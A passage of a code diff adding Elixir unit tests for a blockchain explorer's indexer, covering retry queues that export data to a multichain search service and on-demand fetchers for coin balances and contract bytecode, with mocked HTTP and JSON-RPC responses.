address_hash_bytes, hash_type: :address, block_range: nil}) + assert Enum.member?(results, %{hash: block_hash_bytes, hash_type: :block, block_range: nil}) + assert Enum.member?(results, %{hash: transaction_hash_bytes, hash_type: :transaction, block_range: nil}) + :timer.sleep(10) + GenServer.stop(pid) + end + end + + describe "run/2" do + setup do + bypass = Bypass.open() + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + addresses_chunk_size: 7000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + Bypass.down(bypass) + end) + + {:ok, bypass: bypass} + end + + test "successfully processes multichain search db export retry queue data", %{bypass: bypass} do + address_hash_bytes = "66A9B160F6a06f53f23785F069882Ee7337180E8" |> Base.decode16!(case: :mixed) + + block_hash_bytes = + "bba915260f4859d2c908d31296e125368c01e05ee59e2e691ea8d69cceac6e1b" |> Base.decode16!(case: :mixed) + + transaction_hash_bytes = + "aba197aa8a13871bdd53861f7b5108394000fc0f72893661ae39610e9cd94019" |> Base.decode16!(case: :mixed) + + export_data = [ + %{hash: address_hash_bytes, hash_type: :address, block_range: nil}, + %{hash: block_hash_bytes, hash_type: :block, block_range: nil}, + %{hash: transaction_hash_bytes, hash_type: :transaction, block_range: nil} + ] + + TestHelper.get_chain_id_mock() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 200, + Jason.encode!(%{"status" => "ok"}) + ) + end) + + assert :ok = MultichainSearchDbMainExportQueue.run(export_data, nil) + end + + test "returns {:retry, failed_data} on error where failed_data is only chunks that failed to export", %{ + bypass: _bypass + } do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + addresses_chunk_size: 1 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, addresses_chunk_size: 7000) + end) + + address_1 = insert(:address) + address_1_hash_string = to_string(address_1) |> String.downcase() + address_2 = insert(:address) + address_2_hash_string = to_string(address_2) |> String.downcase() + address_3 = insert(:address) + block = insert(:block, number: 1) + block_number_string = to_string(block.number) + block_hash_string = to_string(block.hash) + transaction = insert(:transaction) |> with_block(block) + transaction_hash_string = to_string(transaction.hash) + + export_data = [ + %{hash: address_1.hash.bytes, hash_type: :address, block_range: %Range{from: block.number, to: block.number}}, + %{hash: address_2.hash.bytes, hash_type: :address, block_range: %Range{from: block.number, to: block.number}}, + %{hash: address_3.hash.bytes, hash_type: :address, block_range: %Range{from: block.number, to: block.number}}, + %{hash: block.hash.bytes, hash_type: :block, block_range: %Range{from: block.number, to: block.number}}, + %{ + hash: transaction.hash.bytes, + hash_type: :transaction, + block_range: %Range{from: block.number, to: block.number} + } + ] + + TestHelper.get_chain_id_mock() + + Tesla.Test.expect_tesla_call( + times: 3, + returns: fn %{url: "http://localhost:1234/api/v1/import:batch", body: body}, _opts -> + case Jason.decode(body) do + {:ok, %{"block_ranges" => [%{"max_block_number" => _, "min_block_number" => _}]}} -> + {:ok, %Tesla.Env{status: 500, body: Jason.encode!(%{"code" => 0, "message" => "Error"})}} + + {:ok, %{"addresses" => [%{"hash" => ^address_2_hash_string}]}} -> + {:ok, %Tesla.Env{status: 500, body: Jason.encode!(%{"code" => 0, "message" => "Error"})}} + + _ -> + {:ok, %Tesla.Env{status: 200, body: Jason.encode!(%{"status" => "ok"})}} + end + end + ) + + log = + capture_log(fn -> + assert {:retry, + %{ + addresses: [ + %{ + hash: ^address_2_hash_string, + token_type: "UNSPECIFIED", + is_contract: false, + token_name: nil, + contract_name: nil, + ens_name: nil, + is_token: false, + is_verified_contract: false + }, + %{ + hash: ^address_1_hash_string, + token_type: "UNSPECIFIED", + is_contract: false, + token_name: nil, + contract_name: nil, + ens_name: nil, + is_token: false, + is_verified_contract: false + } + ], + block_ranges: [%{max_block_number: ^block_number_string, min_block_number: ^block_number_string}], + hashes: [ + %{hash: ^block_hash_string, hash_type: "BLOCK"}, + %{ + hash: ^transaction_hash_string, + hash_type: "TRANSACTION" + } + ] + }} = MultichainSearchDbMainExportQueue.run(export_data, nil) + end) + + assert Repo.aggregate(MainExportQueue, :count, :hash) == 4 + results = Repo.all(MainExportQueue) + assert Enum.all?(results, &(&1.retries_number == nil)) + + assert log =~ "Batch main export retry to the Multichain Search DB failed" + + export_data_2 = [ + %{hash: address_2.hash.bytes, hash_type: :address, block_range: %Range{from: block.number, to: block.number}}, + %{hash: address_1.hash.bytes, hash_type: :address, block_range: %Range{from: block.number, to: block.number}}, + %{hash: block.hash.bytes, hash_type: :block, block_range: %Range{from: block.number, to: block.number}}, + %{ + hash: transaction.hash.bytes, + hash_type: :transaction, + block_range: %Range{from: block.number, to: block.number} + } + ] + + TestHelper.get_chain_id_mock() + + tesla_expectations() + + MultichainSearchDbMainExportQueue.run(export_data_2, nil) + + assert Repo.aggregate(MainExportQueue, :count, :hash) == 3 + results = Repo.all(MainExportQueue) + assert Enum.all?(results, &(&1.retries_number == 1)) + + # Check, that `retries_number` is incrementing + + TestHelper.get_chain_id_mock() + + tesla_expectations() + + MultichainSearchDbMainExportQueue.run(export_data_2, nil) + + assert Repo.aggregate(MainExportQueue, :count, :hash) == 3 + results = Repo.all(MainExportQueue) + assert Enum.all?(results, &(&1.retries_number == 2)) + end + end + + defp tesla_expectations() do + Tesla.Test.expect_tesla_call( + times: 2, + returns: fn %{url: "http://localhost:1234/api/v1/import:batch", body: body}, _opts -> + case Jason.decode(body) do + {:ok, %{"block_ranges" => [%{"max_block_number" => _, "min_block_number" => _}]}} -> + {:ok, %Tesla.Env{status: 500, body: Jason.encode!(%{"code" => 0, "message" => "Error"})}} + + _ -> + {:ok, %Tesla.Env{status: 200, body: Jason.encode!(%{"status" => "ok"})}} + end + end + ) + end +end diff --git a/apps/indexer/test/indexer/fetcher/multichain_search_db/token_info_export_queue_test.exs b/apps/indexer/test/indexer/fetcher/multichain_search_db/token_info_export_queue_test.exs new file mode 100644 index 000000000000..879d32df8d35 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/multichain_search_db/token_info_export_queue_test.exs @@ -0,0 +1,223 @@ +defmodule Indexer.Fetcher.MultichainSearchDb.TokenInfoExportQueueTest do + use ExUnit.Case + use Explorer.DataCase + + import ExUnit.CaptureLog, only: [capture_log: 1] + + alias Explorer.Chain.MultichainSearchDb.TokenInfoExportQueue + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Explorer.TestHelper + + alias Indexer.Fetcher.MultichainSearchDb.TokenInfoExportQueue, + as: MultichainSearchDbTokenInfoExportQueue + + alias Plug.Conn + + @moduletag :capture_log + + setup do + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + Application.put_env(:indexer, MultichainSearchDbTokenInfoExportQueue.Supervisor, disabled?: false) + + on_exit(fn -> + Application.put_env(:indexer, MultichainSearchDbTokenInfoExportQueue.Supervisor, disabled?: true) + end) + + :ok + end + + describe "init/3" do + setup do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + end) + end + + test "initializes with data from the retry queue" do + token_info_item_1 = insert(:multichain_search_db_export_token_info_queue) + token_info_item_2 = insert(:multichain_search_db_export_token_info_queue) + token_info_item_3 = insert(:multichain_search_db_export_token_info_queue) + + {:ok, token_info_item_1_data} = Jason.decode(Jason.encode!(token_info_item_1.data)) + {:ok, token_info_item_2_data} = Jason.decode(Jason.encode!(token_info_item_2.data)) + {:ok, token_info_item_3_data} = Jason.decode(Jason.encode!(token_info_item_3.data)) + + reducer = fn data, acc -> [data | acc] end + + pid = + [] + |> MultichainSearchDbTokenInfoExportQueue.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + + results = MultichainSearchDbTokenInfoExportQueue.init([], reducer, nil) + + assert Enum.count(results) == 3 + + assert Enum.member?(results, %{ + address_hash: token_info_item_1.address_hash, + data_type: token_info_item_1.data_type, + data: token_info_item_1_data + }) + + assert Enum.member?(results, %{ + address_hash: token_info_item_2.address_hash, + data_type: token_info_item_2.data_type, + data: token_info_item_2_data + }) + + assert Enum.member?(results, %{ + address_hash: token_info_item_3.address_hash, + data_type: token_info_item_3.data_type, + data: token_info_item_3_data + }) + + :timer.sleep(100) + GenServer.stop(pid) + end + end + + describe "run/2" do + setup do + bypass = Bypass.open() + + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + api_key: "12345", + token_info_chunk_size: 1000 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + Bypass.down(bypass) + end) + + {:ok, bypass: bypass} + end + + test "successfully processes multichain search db export retry queue data", %{bypass: bypass} do + export_data = [ + insert(:multichain_search_db_export_token_info_queue), + insert(:multichain_search_db_export_token_info_queue), + insert(:multichain_search_db_export_token_info_queue) + ] + + TestHelper.get_chain_id_mock() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "POST", "/api/v1/import:batch", fn conn -> + Conn.resp( + conn, + 200, + Jason.encode!(%{"status" => "ok"}) + ) + end) + + assert :ok = MultichainSearchDbTokenInfoExportQueue.run(export_data, nil) + end + + test "returns {:retry, failed_data} on error where failed_data is only chunks that failed to export", %{ + bypass: _bypass + } do + Application.put_env(:explorer, MultichainSearch, + service_url: "http://localhost:1234", + api_key: "12345", + token_info_chunk_size: 1 + ) + + on_exit(fn -> + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + end) + + token_info_item_1 = insert(:multichain_search_db_export_token_info_queue) + token_info_item_2 = insert(:multichain_search_db_export_token_info_queue) + token_info_item_3 = insert(:multichain_search_db_export_token_info_queue) + token_info_item_4 = insert(:multichain_search_db_export_token_info_queue) + token_info_item_4_address_hash_string = "0x" <> Base.encode16(token_info_item_4.address_hash, case: :lower) + token_info_item_5 = insert(:multichain_search_db_export_token_info_queue) + + export_data = [ + token_info_item_1, + token_info_item_2, + token_info_item_3, + token_info_item_4, + token_info_item_5 + ] + + TestHelper.get_chain_id_mock() + + tesla_expectations(token_info_item_4_address_hash_string) + + log = + capture_log(fn -> + assert {:retry, [item_to_retry]} = MultichainSearchDbTokenInfoExportQueue.run(export_data, nil) + + assert item_to_retry.address_hash == token_info_item_4.address_hash and + item_to_retry.data_type == token_info_item_4.data_type and + item_to_retry.data == token_info_item_4.data + end) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 1 + results = Repo.all(TokenInfoExportQueue) + assert Enum.all?(results, &(&1.retries_number == 1)) + assert log =~ "Batch token info export attempt to the Multichain Search DB failed" + + # Check that `retries_number` is incrementing + + TestHelper.get_chain_id_mock() + + tesla_expectations(token_info_item_4_address_hash_string) + + MultichainSearchDbTokenInfoExportQueue.run(export_data, nil) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 1 + results = Repo.all(TokenInfoExportQueue) + assert Enum.all?(results, &(&1.retries_number == 2)) + + export_data_2 = [ + token_info_item_2, + token_info_item_3, + token_info_item_4, + token_info_item_5 + ] + + Tesla.Test.expect_tesla_call( + times: 4, + returns: fn %{url: "http://localhost:1234/api/v1/import:batch", body: body}, _opts -> + case Jason.decode(body) do + _ -> + {:ok, %Tesla.Env{status: 200, body: Jason.encode!(%{"status" => "ok"})}} + end + end + ) + + MultichainSearchDbTokenInfoExportQueue.run(export_data_2, nil) + + assert Repo.aggregate(TokenInfoExportQueue, :count) == 0 + + Application.put_env(:explorer, MultichainSearch, service_url: nil, api_key: nil, token_info_chunk_size: 1000) + end + end + + defp tesla_expectations(address_4_hash_string) do + Tesla.Test.expect_tesla_call( + times: 5, + returns: fn %{url: "http://localhost:1234/api/v1/import:batch", body: body}, _opts -> + case Jason.decode(body) do + {:ok, %{"tokens" => [%{"address_hash" => ^address_4_hash_string}]}} -> + {:ok, %Tesla.Env{status: 500, body: Jason.encode!(%{"code" => 0, "message" => "Error"})}} + + _ -> + {:ok, %Tesla.Env{status: 200, body: Jason.encode!(%{"status" => "ok"})}} + end + end + ) + end +end diff --git a/apps/indexer/test/indexer/fetcher/on_demand/coin_balance_test.exs b/apps/indexer/test/indexer/fetcher/on_demand/coin_balance_test.exs new file mode 100644 index 000000000000..840b28cac0a4 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/on_demand/coin_balance_test.exs @@ -0,0 +1,278 @@ +defmodule Indexer.Fetcher.OnDemand.CoinBalanceTest do + # MUST be `async: false` so that {:shared, pid} is set for connection to allow CoinBalanceFetcher's self-send to have + # connection allowed immediately. + use EthereumJSONRPC.Case, async: false + use Explorer.DataCase + + import Mox + import EthereumJSONRPC, only: [integer_to_quantity: 1] + + alias Explorer.Chain.Address.CoinBalance + alias Explorer.Chain.Events.Subscriber + alias Explorer.Chain.Wei + alias Explorer.Chain.Cache.Counters.AverageBlockTime + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand + + @moduletag :capture_log + + # MUST use global mode because we aren't guaranteed to get `start_supervised`'s pid back fast enough to `allow` it to + # use expectations and stubs from test's pid. + setup :set_mox_global + + setup :verify_on_exit! + + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + start_supervised!(AverageBlockTime) + + configuration = Application.get_env(:indexer, Indexer.Fetcher.OnDemand.CoinBalance.Supervisor) + Application.put_env(:indexer, Indexer.Fetcher.OnDemand.CoinBalance.Supervisor, disabled?: false) + + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) + + Indexer.Fetcher.OnDemand.CoinBalance.Supervisor.Case.start_supervised!( + json_rpc_named_arguments: mocked_json_rpc_named_arguments + ) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.OnDemand.CoinBalance.Supervisor, configuration) + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) + end) + + %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} + end + + describe "trigger_fetch/1" do + setup do + now = Timex.now() + + # we space these very far apart so that we know it will consider the 0th block stale (it calculates how far + # back we'd need to go to get 24 hours in the past) + Enum.each(0..101, fn i -> + insert(:block, number: i, timestamp: Timex.shift(now, hours: -(102 - i) * 50)) + end) + + insert(:block, number: 102, timestamp: now) + AverageBlockTime.refresh() + + stale_address = insert(:address, fetched_coin_balance: 1, fetched_coin_balance_block_number: 101) + current_address = insert(:address, fetched_coin_balance: 1, fetched_coin_balance_block_number: 102) + + pending_address = insert(:address, fetched_coin_balance: 1, fetched_coin_balance_block_number: 102) + insert(:unfetched_balance, address_hash: pending_address.hash, block_number: 103) + + %{stale_address: stale_address, current_address: current_address, pending_address: pending_address} + end + + test "treats all addresses as current if the average block time is disabled", %{stale_address: address} do + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) + + stub(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> + {:ok, []} + end) + + assert CoinBalanceOnDemand.trigger_fetch(address) == :current + end + + test "if the address has not been fetched within the last 24 hours of blocks it is considered stale", %{ + stale_address: address + } do + stub(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> + {:ok, []} + end) + + assert CoinBalanceOnDemand.trigger_fetch(address) == {:stale, 102} + end + + test "if the address has been fetched within the last 24 hours of blocks it is considered current", %{ + current_address: address + } do + stub(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> + {:ok, []} + end) + + assert CoinBalanceOnDemand.trigger_fetch(address) == :current + end + + test "if there is an unfetched balance within the window for an address, it is considered pending", %{ + pending_address: pending_address + } do + stub(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> + {:ok, []} + end) + + assert CoinBalanceOnDemand.trigger_fetch(pending_address) == {:pending, 103} + end + end + + describe "trigger_historic_fetch/2" do + test "fetches and imports balance for any block" do + address = insert(:address) + block = insert(:block) + insert(:block) + string_address_hash = to_string(address.hash) + block_number = block.number + string_block_number = integer_to_quantity(block_number) + balance = 42 + assert nil == CoinBalance.get_coin_balance(address.hash, block_number) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + method: "eth_getBalance", + params: [^string_address_hash, ^string_block_number] + } + ], + _options -> + {:ok, [%{id: id, jsonrpc: "2.0", result: integer_to_quantity(balance)}]} + end) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: [^string_block_number, true] + } + ], + _ -> + {:ok, [eth_block_number_fake_response(string_block_number, id)]} + end) + + {:ok, expected_wei} = Wei.cast(balance) + + CoinBalanceOnDemand.trigger_historic_fetch(address.hash, block_number) + + :timer.sleep(1000) + + assert %{value: ^expected_wei} = CoinBalance.get_coin_balance(address.hash, block_number) + end + end + + describe "update behaviour" do + setup do + Subscriber.to(:addresses, :on_demand) + Subscriber.to(:address_coin_balances, :on_demand) + + now = Timex.now() + + # we space these very far apart so that we know it will consider the 0th block stale (it calculates how far + # back we'd need to go to get 24 hours in the past) + Enum.each(0..101, fn i -> + insert(:block, number: i, timestamp: Timex.shift(now, hours: -(102 - i) * 50)) + end) + + insert(:block, number: 102, timestamp: now) + AverageBlockTime.refresh() + + :ok + end + + test "a stale address broadcasts the new address" do + address = insert(:address, fetched_coin_balance: 1, fetched_coin_balance_block_number: 101) + address_hash = address.hash + string_address_hash = to_string(address.hash) + + expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn [ + %{ + id: id, + method: "eth_getBalance", + params: [^string_address_hash, "0x66"] + } + ], + _options -> + {:ok, [%{id: id, jsonrpc: "2.0", result: "0x02"}]} + end) + + assert CoinBalanceOnDemand.trigger_fetch(address) == {:stale, 102} + + {:ok, expected_wei} = Wei.cast(2) + + assert_receive( + {:chain_event, :addresses, :on_demand, + [%{hash: ^address_hash, fetched_coin_balance: ^expected_wei, fetched_coin_balance_block_number: 102}]} + ) + end + + test "a pending address broadcasts the new address and the new coin balance" do + address = insert(:address, fetched_coin_balance: 0, fetched_coin_balance_block_number: 102) + insert(:unfetched_balance, address_hash: address.hash, block_number: 103) + address_hash = address.hash + string_address_hash = to_string(address.hash) + + expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn [ + %{ + id: id, + method: "eth_getBalance", + params: [^string_address_hash, "0x67"] + } + ], + _options -> + {:ok, [%{id: id, jsonrpc: "2.0", result: "0x02"}]} + end) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, 1, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: ["0x67", true] + } + ], + _ -> + res = eth_block_number_fake_response("0x67") + {:ok, [res]} + end) + + assert CoinBalanceOnDemand.trigger_fetch(address) == {:pending, 103} + + {:ok, expected_wei} = Wei.cast(2) + + assert_receive( + {:chain_event, :addresses, :on_demand, + [%{hash: ^address_hash, fetched_coin_balance: ^expected_wei, fetched_coin_balance_block_number: 103}]} + ) + end + end + + defp eth_block_number_fake_response(block_quantity, id \\ 0) do + %{ + id: id, + jsonrpc: "2.0", + result: %{ + "author" => "0x0000000000000000000000000000000000000000", + "difficulty" => "0x20000", + "extraData" => "0x", + "gasLimit" => "0x663be0", + "gasUsed" => "0x0", + "hash" => "0x5b28c1bfd3a15230c9a46b399cd0f9a6920d432e85381cc6a140b06e8410112f", + "logsBloom" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "miner" => "0x0000000000000000000000000000000000000000", + "number" => block_quantity, + "parentHash" => "0x0000000000000000000000000000000000000000000000000000000000000000", + "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "sealFields" => [ + "0x80", + "0xb8410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + ], + "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "signature" => + "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "size" => "0x215", + "stateRoot" => "0xfad4af258fd11939fae0c6c6eec9d340b1caac0b0196fd9a1bc3f489c5bf00b3", + "step" => "0", + "timestamp" => "0x0", + "totalDifficulty" => "0x20000", + "transactions" => [], + "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "uncles" => [] + } + } + end +end diff --git a/apps/indexer/test/indexer/fetcher/on_demand/contract_code_test.exs b/apps/indexer/test/indexer/fetcher/on_demand/contract_code_test.exs new file mode 100644 index 000000000000..209607688dd7 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/on_demand/contract_code_test.exs @@ -0,0 +1,381 @@ +defmodule Indexer.Fetcher.OnDemand.ContractCodeTest do + use EthereumJSONRPC.Case, async: false + use Explorer.DataCase + + import Mox + + alias Explorer.Chain.{Address, Data, Hash} + alias Explorer.Chain.SmartContract.Proxy.EIP7702 + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Chain.Events.Subscriber + alias Explorer.Utility.AddressContractCodeFetchAttempt + alias Indexer.Fetcher.OnDemand.ContractCode, as: ContractCodeOnDemand + alias Indexer.Fetcher.OnDemand.ContractCreator, as: ContractCreatorOnDemand + @moduletag :capture_log + + setup :set_mox_global + + setup :verify_on_exit! + + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + start_supervised!({ContractCodeOnDemand, [mocked_json_rpc_named_arguments, [name: ContractCodeOnDemand]]}) + start_supervised!({ContractCreatorOnDemand, name: ContractCreatorOnDemand}) + + %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} + end + + describe "update behaviour" do + setup do + Subscriber.to(:fetched_bytecode, :on_demand) + + :ok + end + + test "address broadcasts fetched code" do + address = insert(:address) + address_hash = address.hash + string_address_hash = to_string(address.hash) + + contract_code = "0x6080" + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getCode", + params: [^string_address_hash, "latest"] + } + ], + _ -> + {:ok, [%{id: id, result: contract_code}]} + end) + + assert ContractCodeOnDemand.trigger_fetch(address) == :ok + + :timer.sleep(100) + + address = assert(Repo.get(Address, address_hash)) + refute is_nil(address.contract_code) + + assert is_nil(Repo.get(AddressContractCodeFetchAttempt, address_hash)) + + assert_receive({:chain_event, :fetched_bytecode, :on_demand, [^address_hash, ^contract_code]}) + end + + test "don't run the update on the address with non-empty nonce" do + address = insert(:address, nonce: 2) + address_hash = address.hash + + assert ContractCodeOnDemand.trigger_fetch(address) == :ok + + :timer.sleep(100) + + address = assert(Repo.get(Address, address_hash)) + assert is_nil(address.contract_code) + + attempts = Repo.get(AddressContractCodeFetchAttempt, address_hash) + assert is_nil(attempts) + + refute_receive({:chain_event, :fetched_bytecode, :on_demand, [^address_hash, "0x"]}) + end + + test "updates address_contract_code_fetch_attempts table" do + address = insert(:address) + address_hash = address.hash + string_address_hash = to_string(address.hash) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getCode", + params: [^string_address_hash, "latest"] + } + ], + _ -> + {:ok, [%{id: id, result: "0x"}]} + end) + + assert ContractCodeOnDemand.trigger_fetch(address) == :ok + + :timer.sleep(100) + + address = assert(Repo.get(Address, address_hash)) + assert is_nil(address.contract_code) + + attempts = Repo.get(AddressContractCodeFetchAttempt, address_hash) + assert attempts.retries_number == 1 + + refute_receive({:chain_event, :fetched_bytecode, :on_demand, [^address_hash, "0x"]}) + end + + test "updates contract_code after 2nd attempt" do + threshold_configuration = Application.get_env(:indexer, ContractCodeOnDemand)[:threshold] + threshold = parse_time_env_var("CONTRACT_CODE_ON_DEMAND_FETCHER_THRESHOLD", "500ms") + Application.put_env(:indexer, ContractCodeOnDemand, threshold: threshold) + + address = insert(:address) + address_hash = address.hash + string_address_hash = to_string(address.hash) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getCode", + params: [^string_address_hash, "latest"] + } + ], + _ -> + {:ok, [%{id: id, result: "0x"}]} + end) + + assert ContractCodeOnDemand.trigger_fetch(address) == :ok + + :timer.sleep(100) + + address = assert(Repo.get(Address, address_hash)) + assert is_nil(address.contract_code) + + attempts = Repo.get(AddressContractCodeFetchAttempt, address_hash) + assert attempts.retries_number == 1 + + refute_receive({:chain_event, :fetched_bytecode, :on_demand, [^address_hash, "0x"]}) + + contract_code = "0x6080" + + # try 2nd time before update threshold reached: nothing should be updated + :timer.sleep(100) + + assert ContractCodeOnDemand.trigger_fetch(address) == :ok + + :timer.sleep(50) + + address = assert(Repo.get(Address, address_hash)) + assert is_nil(address.contract_code) + + refute is_nil(Repo.get(AddressContractCodeFetchAttempt, address_hash)) + + refute_receive({:chain_event, :fetched_bytecode, :on_demand, [^address_hash, ^contract_code]}) + + # trying 3d time after update threshold reached: update is expected. + :timer.sleep(1000) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getCode", + params: [^string_address_hash, "latest"] + } + ], + _ -> + {:ok, [%{id: id, result: contract_code}]} + end) + + assert ContractCodeOnDemand.trigger_fetch(address) == :ok + + :timer.sleep(50) + + address = assert(Repo.get(Address, address_hash)) + refute is_nil(address.contract_code) + + assert is_nil(Repo.get(AddressContractCodeFetchAttempt, address_hash)) + + assert_receive({:chain_event, :fetched_bytecode, :on_demand, [^address_hash, ^contract_code]}) + + on_exit(fn -> + Application.put_env(:indexer, ContractCodeOnDemand, threshold: threshold_configuration) + end) + end + + test "updates code for eip7702 address" do + threshold_configuration = Application.get_env(:indexer, ContractCodeOnDemand)[:threshold] + threshold = parse_time_env_var("CONTRACT_CODE_ON_DEMAND_FETCHER_THRESHOLD", "1ms") + Application.put_env(:indexer, ContractCodeOnDemand, threshold: threshold) + + address = insert(:address) + address_hash = address.hash + string_address_hash = to_string(address.hash) + + test_cases = [ + {"0x", 1}, + {"0x", 2}, + {"0xef0100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 0}, + {"0xef0100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 1}, + {"0xef0100bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", 0}, + {"0xef0100bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", 1}, + {"0xef0100bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", 2}, + {"0x", 0}, + {"0x", 1} + ] + + test_cases + |> Enum.map(fn {code, attempts_number} -> + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getCode", + params: [^string_address_hash, "latest"] + } + ], + _ -> + {:ok, [%{id: id, result: code}]} + end) + + code = code |> Data.cast() |> elem(1) + + address = assert(Repo.get(Address, address_hash)) + assert ContractCodeOnDemand.trigger_fetch(address) == :ok + + :timer.sleep(100) + + address = assert(Repo.get(Address, address_hash)) + + if Data.empty?(code) do + assert is_nil(address.contract_code) + else + assert address.contract_code == code + end + + attempts = Repo.get(AddressContractCodeFetchAttempt, address_hash) + + if attempts_number == 0 do + assert is_nil(attempts) + else + assert attempts.retries_number == attempts_number + end + + proxy_implementations = Implementation.get_proxy_implementations(address_hash) + + if Data.empty?(code) do + assert is_nil(proxy_implementations) + else + {:ok, address_hashes} = EIP7702.quick_resolve_implementations(address) + + assert proxy_implementations.proxy_address_hash == address_hash + assert proxy_implementations.proxy_type == :eip7702 + assert proxy_implementations.address_hashes == address_hashes + assert proxy_implementations.names == [nil] + end + end) + + on_exit(fn -> + Application.put_env(:indexer, ContractCodeOnDemand, threshold: threshold_configuration) + end) + end + + defp parse_time_env_var(env_var, default_value) do + case env_var |> safe_get_env(default_value) |> String.downcase() |> Integer.parse() do + {milliseconds, "ms"} -> milliseconds + {hours, "h"} -> :timer.hours(hours) + {minutes, "m"} -> :timer.minutes(minutes) + {seconds, s} when s in ["s", ""] -> :timer.seconds(seconds) + _ -> 0 + end + end + + defp safe_get_env(env_var, default_value) do + env_var + |> System.get_env(default_value) + |> case do + "" -> default_value + value -> value + end + |> to_string() + end + end + + describe "get_or_fetch_bytecode/1" do + test "returns code from DB without RPC when present" do + code = Data.cast("0x6080") |> elem(1) + address = insert(:address, contract_code: code) + + # No RPC expectations set: will fail if RPC is called. + assert {:ok, ^code} = ContractCodeOnDemand.get_or_fetch_bytecode(address.hash) + + # Ensure fetch attempts not created + assert is_nil(Repo.get(AddressContractCodeFetchAttempt, address.hash)) + + # Ensure code unchanged in DB + assert Repo.get(Address, address.hash).contract_code == code + end + + test "fetches from RPC when code not in DB and returns it, broadcasting event" do + Subscriber.to(:fetched_bytecode, 